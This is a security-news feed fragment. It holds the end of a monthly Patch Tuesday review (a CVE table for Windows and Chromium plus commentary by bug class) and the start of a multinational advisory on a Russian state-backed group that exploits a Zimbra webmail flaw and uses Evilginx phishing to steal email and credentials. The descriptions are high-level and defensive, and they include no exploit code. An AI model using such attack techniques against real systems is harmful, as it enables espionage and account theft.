  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25168"><span><span> </span>CVE-2026-25168<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Graphics Component Denial of Service
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">6.2</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25169"><span><span> </span>CVE-2026-25169<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Graphics Component Denial of Service
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">6.2</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23668"><span><span> </span>CVE-2026-23668<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Graphics Component Elevation of
  Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25180"><span><span> </span>CVE-2026-25180<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Graphics Component Information
  Disclosure Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">5.5</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">Info</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25170"><span><span> </span>CVE-2026-25170<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Hyper-V Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-24297"><span><span> </span>CVE-2026-24297<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Kerberos Security Feature Bypass
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">6.5</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-24287"><span><span> </span>CVE-2026-24287<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Kernel Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-24289"><span><span> </span>CVE-2026-24289<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Kernel Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26132"><span><span> </span>CVE-2026-26132<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Kernel Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-24288"><span><span> </span>CVE-2026-24288<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Mobile Broadband Driver Remote Code
  Execution Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">6.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25175"><span><span> </span>CVE-2026-25175<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows NTFS Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23669"><span><span> </span>CVE-2026-23669<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Print Spooler Remote Code Execution
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">8.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-24290"><span><span> </span>CVE-2026-24290<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Projected File System Elevation of
  Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23673"><span><span> </span>CVE-2026-23673<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Resilient File System (ReFS)
  Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25172"><span><span> </span>CVE-2026-25172<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Routing and Remote Access Service
  (RRAS) Remote Code Execution Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">8.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25173"><span><span> </span>CVE-2026-25173<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Routing and Remote Access Service
  (RRAS) Remote Code Execution Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26111"><span><span> </span>CVE-2026-26111<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Routing and Remote Access Service
  (RRAS) Remote Code Execution Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">8.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25185"><span><span> </span>CVE-2026-25185<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Shell Link Processing Spoofing
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">5.3</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-24294"><span><span> </span>CVE-2026-24294<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows SMB Server Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26128"><span><span> </span>CVE-2026-26128<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows SMB Server Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25166"><span><span> </span>CVE-2026-25166<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows System Image Manager Assessment and
  Deployment Kit (ADK) Remote Code Execution Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25188"><span><span> </span>CVE-2026-25188<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Telephony Service Elevation of
  Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">8.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23672"><span><span> </span>CVE-2026-23672<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Universal Disk Format File System
  Driver (UDFS) Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25187"><span><span> </span>CVE-2026-25187<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Winlogon Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-3536"><span><span> </span>CVE-2026-3536 *</span></a></td>
  <td width="263" class="xl66"><span> </span>Chromium: CVE-2026-3536 Integer overflow in
  ANGLE<span> </span></td>
  <td class="xl71"><span> </span>Critical<span> </span></td>
  <td class="xl67"><span> </span>N/A</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-3538"><span><span> </span>CVE-2026-3538 *</span></a></td>
  <td width="263" class="xl66"><span> </span>Chromium: CVE-2026-3538 Integer overflow in
  Skia<span> </span></td>
  <td class="xl71"><span> </span>Critical<span> </span></td>
  <td class="xl67"><span> </span>N/A</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-3539"><span><span> </span>CVE-2026-3539 *</span></a></td>
  <td width="263" class="xl66"><span> </span>Chromium: CVE-2026-3539 Object lifecycle
  issue in DevTools<span> </span></td>
  <td class="xl69"><span> </span>High</td>
  <td class="xl67"><span> </span>N/A</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-3540"><span><span> </span>CVE-2026-3540 *</span></a></td>
  <td width="263" class="xl66"><span> </span>Chromium: CVE-2026-3540 Inappropriate
  implementation in WebAudio<span> </span></td>
  <td class="xl69"><span> </span>High</td>
  <td class="xl67"><span> </span>N/A</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-3541"><span><span> </span>CVE-2026-3541 *</span></a></td>
  <td width="263" class="xl66"><span> </span>Chromium: CVE-2026-3541 Inappropriate
  implementation in CSS<span> </span></td>
  <td class="xl69"><span> </span>High</td>
  <td class="xl67"><span> </span>N/A</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-3542"><span><span> </span>CVE-2026-3542 *</span></a></td>
  <td width="263" class="xl66"><span> </span>Chromium: CVE-2026-3542 Inappropriate
  implementation in WebAssembly<span> </span></td>
  <td class="xl69"><span> </span>High</td>
  <td class="xl67"><span> </span>N/A</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-3543"><span><span> </span>CVE-2026-3543 *</span></a></td>
  <td width="263" class="xl66"><span> </span>Chromium: CVE-2026-3543 Inappropriate
  implementation in V8<span> </span></td>
  <td class="xl69"><span> </span>High</td>
  <td class="xl67"><span> </span>N/A</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-3544"><span><span> </span>CVE-2026-3544 *</span></a></td>
  <td width="263" class="xl66"><span> </span>Chromium: CVE-2026-3544 Heap buffer overflow
  in WebCodecs<span> </span></td>
  <td class="xl69"><span> </span>High</td>
  <td class="xl67"><span> </span>N/A</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-3545"><span><span> </span>CVE-2026-3545 *</span></a></td>
  <td width="263" class="xl66"><span> </span>Chromium: CVE-2026-3545 Insufficient data
  validation in Navigation<span> </span></td>
  <td class="xl69"><span> </span>High</td>
  <td class="xl67"><span> </span>N/A</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 &lt;![if supportMisalignedColumns]&gt;
 <tr height="0">
  <td width="151"></td>
  <td width="263"></td>
  <td width="111"></td>
  <td width="111"></td>
  <td width="111"></td>
  <td width="111"></td>
  <td width="95"></td>
 </tr>
 &lt;![endif]&gt;
</table>











  
  









  <p class=""><em>* Indicates this CVE had been released by a third party and is now being included in Microsoft releases</em>.</p><p class=""><em>† Indicates further administrative actions are required to fully address the vulnerability.</em></p><p class=""><em> </em></p><p class="">Looking at the other Critical-rated bugs in this month’s release, they are all cloud-native and require no user action. Microsoft has already remediated the vulnerabilities.</p><p class="">Moving on to the other code execution bugs, the vulnerabilities in SharePoint Server pop out first. Both require authentication, but it’s essentially the lowest level of authentication, so these would be ideal cases for lateral movement within an enterprise. There are the standard open-and-own cases within Office components. There an interesting sounding bug in the Windows Mobile Broadband Driver that requires physical access, but Microsoft doesn’t elaborate on the attack scenario beyond that fact. The bug in the System Image Manager Assessment and Deployment Kit (ADK) requires authentication. The bug in GDI requires user interaction. The remaining code execution bugs are in the RRAS protocol. We’ve seen bugs in this component in the past, but never in the wild. I wouldn’t ignore these, but I wouldn’t rush them out either.</p><p class="">Similar to last month, updates for Elevation of Privilege (EoP) bugs make up nearly half of this month’s release. And as we saw last month, but most simply lead to local attackers executing their code at SYSTEM-level privileges or administrative privileges. The bugs in SQL Server allow attackers to elevate to SQL sysadmin privileges. The bug in the Azure MCP Server is more complex. It allows attackers to obtain the permissions associated with the MCP Server’s managed identity, which lets them perform actions that the managed identity is able to reach. The bug in the Azure AD SSH Login extension for Linux leads to root access, and it won’t be easy to patch. You’ll need to run the update instructions from the command line on each affected system. That’s the same case for the bug in the Linux Azure Diagnostic extension (LAD). There’s an odd bug in the Hybrid Worker Extension (Arc‑enabled Windows VMs) that leads to “ELEVATED” privileges, which is something I’ve never seen before. The bug in the Broadcast DVR component allows an attacker to go from low integrity level up to medium. There’s a bug listed as an EoP in the Push message Routing Service, but reading the description, Microsoft notes it could lead to an information disclosure. It’s likely this is an error and should be an Information Disclosure bug. The final EoP is in the Azure Portal Windows Admin Center and leads to SYSTEM. However, there’s no patch to remediate this bug. Instead, you need to install the latest version of the Windows Admin Center extension through the Azure Portal by hand. </p><p class="">There are two security feature bypass patches in the March release. The first is a bypass of the MapURLToZone method, which (as expected) allows attackers to bypass MapURLToZone protections. The third bypass is in Kerberos and could allow an attacker to either view some sensitive information or make changes to “disclosed” information. This is a race condition that occurs while the group policy is being reapplied, so the window to exploit this would be extremely small.</p><p class="">Looking at the remaining info disclosure bugs getting patched this month, only two result in info leaks consisting of unspecified memory contents or memory addresses. Ther others provide more interesting results. There are three bugs in the Azure IoT Explorer have some wide-ranging implications. According to Microsoft, exploitation could result in, “device connection information, authentication tokens, request data, file paths, and other information transmitted between the application and the IoT Hub.” The bug in Authenticator almost reads like a security feature bypass, as exploit results in the disclosure of a one‑time sign‑in code or authentication deep link. The attacker would receive the sign‑in information and could potentially use it to authenticate as the user, allowing access to information or services available to that account. The last info disclosure bug is in the Accessibility Infrastructure and allows an attacker to gain secrets or privileged information belonging to the user of the affected application.</p><p class="">There are only four spoofing bugs in the March release. The first is in SharePoint server and manifests as an XSS. The second bug is a Server-Side Request Forgery (SSRF) in the Azure IoT Explorer. The remaining two are a bit more cryptic. The bug in Windows Shell Link Processing results from the “exposure of sensitive information to an unauthorized actor,” and could lead to spoofing. That sounds like credential exposure, but it’s not explicitly called out. The final spoofing bug results from the insufficient verification of data authenticity in Windows App Installer. Again, this sounds vaguely like credential reflection, but without further information, we can only speculate. </p><p class="">Finally, there are four denial-of-service (DoS) bugs in the release, including one that’s listed as publicly known in the .NET Framework. As usual, Microsoft provides no actionable information about these bugs.</p><p class="">No new advisories are being released this month.</p><p class=""><strong>Looking Ahead</strong></p><p class="">I plan on being at RSA for the first time in my career, so if you’re around, please stop by and say hello. I like it when people say hello. Otherwise, I’ll be back on April 14 with my assessment of that patch Tuesday release. Until then, stay safe, happy patching, and may all your reboots be smooth and clean!</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Russian State-Supported Cyber Actors Conduct Phishing Campaign Targeting Users of Zimbra Collaboration Suite]]></title>
<description><![CDATA[Russian State-Supported Cyber Actors Conduct Phishing Campaign Targeting Users of Zimbra Collaboration Suite
Executive summary 
A group of Russian state-supported cyber actors has been targeting and compromising various Western government and commercial organizations using the Zimbra Collaboratio...]]></description>
<link>https://tsecurity.de/de/3694430/it-security-nachrichten/russian-state-supported-cyber-actors-conduct-phishing-campaign-targeting-users-of-zimbra-collaboration-suite/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694430/it-security-nachrichten/russian-state-supported-cyber-actors-conduct-phishing-campaign-targeting-users-of-zimbra-collaboration-suite/</guid>
<pubDate>Sat, 25 Jul 2026 18:59:26 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div class="c-page-title__buttons"><a class="c-button" href="https://media.defense.gov/2026/Jul/22/2003965244/-1/-1/1/CSA_RUSSIA_PHISHING_TARGET_ZIMBRA.PDF">Russian State-Supported Cyber Actors Conduct Phishing Campaign Targeting Users of Zimbra Collaboration Suite</a></div>
<h2><strong>Executive summary</strong> </h2>
<p>A group of Russian state-supported cyber actors has been targeting and compromising various Western government and commercial organizations using the Zimbra Collaboration Suite (ZCS) software since at least July 2025. The Russian state-supported advanced persistent threat (APT) group’s activity is tracked in the cybersecurity community under several names (see <a href="https://www.cisa.gov/#cyber1">Cybersecurity industry tracking</a>), primarily as “LAUNDRY BEAR,” a name initially coined by the Netherlands General Intelligence and Security Service (AIVD) and Defence Intelligence and Security Service (MIVD) [<a href="https://www.cisa.gov/#wc1">1</a>].</p>
<p>LAUNDRY BEAR’s targeting is almost certainly to gather sensitive information for the Russian Federation, with these actors primarily focusing on the covert acquisition of email data. Previous campaigns indicated LAUNDRY BEAR relied on unsophisticated initial access techniques—including password spraying, phishing, and pass-the-cookie—allowing the group to successfully run high-volume operations. The latest campaign targeting ZCS uses a novel exploit that was a zero-day vulnerability when first exploited and continues to be successfully exploited. The vulnerability, Common Vulnerabilities and Exposures (CVE) <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376" target="_blank">CVE-2025-66376</a>, was patched in November 2025. This demonstrates LAUNDRY BEAR’s intent and ability to deploy increasingly sophisticated technical capabilities.</p>
<p>Unlike traditional phishing campaigns that persuade a user into taking an action, such as clicking a link or opening a file, LAUNDRY BEAR’s latest campaign leverages a view-based exploit that only requires a user to view a malicious email within a vulnerable version of the webmail service. Once viewed, the exploit attempts to exfiltrate the victim’s last 90 days of email communications, the organization email directory (i.e., Global Address List [GAL]), and other sensitive information to servers controlled by LAUNDRY BEAR. The exploit also attempts to establish persistent access to victim accounts through a variety of means as detailed in the <a href="https://www.cisa.gov/#persistence1">Persistence and credential access</a> section.</p>
<p>This Cybersecurity Advisory (CSA) warns of this ongoing malicious threat activity and urges organizations to update their vulnerable software and implement additional mitigations to thwart these Russian state-supported actors’ continued success. The CSA is being released by the following authoring and co-sealing agencies:</p>
<ul>
<li>United States National Security Agency (NSA)</li>
<li>United States Federal Bureau of Investigation (FBI)</li>
<li>Netherlands Defence Intelligence and Security Service (MIVD)</li>
<li>Netherlands General Intelligence and Security Service (AIVD)</li>
<li>United States Cybersecurity and Infrastructure Security Agency (CISA)</li>
<li>United States Defense Counterintelligence and Security Agency (DCSA)</li>
<li>United States Department of Defense Cyber Crime Center (DC3)</li>
<li>United States Department of the Treasury</li>
<li>United States Naval Criminal Investigative Service (NCIS)</li>
<li>Australian Signals Directorate’s Australian Cyber Security Centre (ASD’s ACSC)</li>
<li>Communications Security Establishment Canada’s (CSE’s) Canadian Centre for Cyber Security (Cyber Centre)</li>
<li>New Zealand National Cyber Security Centre (NCSC-NZ)</li>
<li>United Kingdom National Cyber Security Centre (NCSC-UK)</li>
<li>Czech Republic National Cyber and Information Security Agency (NÚKIB)<a href="https://www.cisa.gov/#f1"><sup>1</sup></a></li>
<li>Danish Defence Intelligence Service (DDIS)<a href="https://www.cisa.gov/#f2"><sup>2</sup></a></li>
<li>Estonian Foreign Intelligence Service (EFIS)<a href="https://www.cisa.gov/#f3"><sup>3</sup></a></li>
<li>Finnish Defence Intelligence (FDI)<a href="https://www.cisa.gov/#f4"><sup>4</sup></a></li>
<li>Finnish Security and Intelligence Service (SUPO)<a href="https://www.cisa.gov/#f5"><sup>5</sup></a></li>
<li>French General Directorate for Internal Security (DGSI)<a href="https://www.cisa.gov/#f6"><sup>6</sup></a></li>
<li>French National Cybersecurity Agency (ANSSI)<a href="https://www.cisa.gov/#f7"><sup>7</sup></a></li>
<li>Italian External Intelligence and Security Agency (AISE)<a href="https://www.cisa.gov/#f8"><sup>8</sup></a></li>
<li>Italian Internal Intelligence and Security Agency (AISI)<a href="https://www.cisa.gov/#f9"><sup>9</sup></a></li>
<li>Security and Intelligence Service of the Republic of Moldova (SIS RM)<a href="https://www.cisa.gov/#f10"><sup>10</sup></a></li>
<li>Polish Foreign Intelligence Agency (AW)<a href="https://www.cisa.gov/#f11"><sup>11</sup></a></li>
<li>The Military Counterintelligence Service of Poland (SKW)<a href="https://www.cisa.gov/#f12"><sup>12</sup></a></li>
<li>Spain National Intelligence Centre (CNI)<a href="https://www.cisa.gov/#f13"><sup>13</sup></a></li>
<li>Sweden National Cyber Security Centre (NCSC-SE)<a href="https://www.cisa.gov/#f14"><sup>14</sup></a></li>
</ul>
<p>The authoring agencies urge any organizations using ZCS to implement the recommendations listed within the <a href="https://www.cisa.gov/#mitigations1">Mitigations</a> section of this advisory to reduce the risk associated with this activity. This CSA also includes specific remediations for organizations to implement if they discover the presence of the listed <a href="https://www.cisa.gov/#ioc1">Indicators of compromise</a> (IOCs).  </p>
<p>As more organizations update their ZCS software based on this CSA, LAUNDRY BEAR may discontinue the current campaign exploiting this vulnerability; however, based on the success of this and previous campaigns, it is very likely that the group will continue to target ZCS and other email systems used by organizations in Western countries. The actors will almost certainly continue to rely on email to engage potential victims by exploiting novel vulnerabilities and, when necessary, use social engineering techniques to assist with their efforts. The authoring agencies recommend organizations regularly update their mail service software and continuously monitor their email systems and emails for malicious activity.</p>
<p>For a downloadable list of IOCs, see:</p>
<ul>
<li><a href="https://www.cisa.gov/sites/default/files/2026-07/AA26-204A.stix_.xml">AA26-204A.stix.xml</a> (STIX XML)</li>
<li><a href="https://www.cisa.gov/sites/default/files/2026-07/AA26-204A.stix_.json">AA26-204A.stix.json</a> (STIX JSON)</li>
</ul>
<h2><strong>Cybersecurity industry tracking</strong><a class="ck-anchor"></a></h2>
<p>The cybersecurity industry provides overlapping cyber threat intelligence, indicators of compromise (IOCs), and mitigation recommendations related to these Russian state-supported cyber actors. While not exhaustive, the following are threat group names commonly used for these actors within the cybersecurity community:</p>
<ul>
<li>LAUNDRY BEAR</li>
<li>Void Blizzard [<a href="https://www.cisa.gov/#wc2">2</a>]</li>
<li>CL-STA-1114 [<a href="https://www.cisa.gov/#wc3">3</a>]</li>
<li>TA488 (formerly UNK_PitStop) [<a href="https://www.cisa.gov/#wc4">4</a>]</li>
</ul>
<p><strong>Note:</strong> Cybersecurity companies have different methods of tracking and attributing cyber actors, and this may not be a 1:1 correlation to the U.S. government’s understanding for all activity related to these groupings.</p>
<h2><strong>Background</strong></h2>
<p>Public advisories from Netherlands General Intelligence and Security Service (AIVD), Netherlands Defence Intelligence and Security Service (MIVD), and Microsoft highlighted these Russian state-supported advanced persistent threat (APT) actors in May 2025, calling them LAUNDRY BEAR and Void Blizzard respectively [<a href="https://www.cisa.gov/#wc1">1</a>] [<a href="https://www.cisa.gov/#wc2">2</a>]. Both advisories assessed that the group was engaged in malicious cyber activity as early as April 2024.  </p>
<p>The May 2025 advisories highlighted a cluster of activity targeting cloud-based email environments, including Microsoft Exchange in particular, and abusing legitimate APIs to perform data exfiltration in bulk [<a href="https://attack.mitre.org/versions/v19/techniques/T1114/002/" target="_blank">T1114.002</a>]. The group relied on unsophisticated means of initial access, including procuring stolen credentials on criminal marketplaces [<a href="https://attack.mitre.org/versions/v19/techniques/T1078/" target="_blank">T1078</a>], and using social engineering techniques to lure targets into interacting with a malicious site masquerading as a legitimate one. As of April 2025, one of these sites resembled a European Defence &amp; Security Summit registration portal that required registrants to sign in to their Microsoft account to view. Once a user entered their Microsoft credentials into this malicious site, LAUNDRY BEAR’s modified version of the open source adversary emulation toolkit, Evilginx, intercepted the user’s credentials. LAUNDRY BEAR then used this authentication data, including passwords and session tokens, to access the compromised account and conduct mass email exfiltration, as well as harvest other information. This method of compromise is commonly known as an adversary-in-the-middle (AiTM) technique [<a href="https://attack.mitre.org/versions/v19/techniques/T1557/" target="_blank">T1557</a>].  </p>
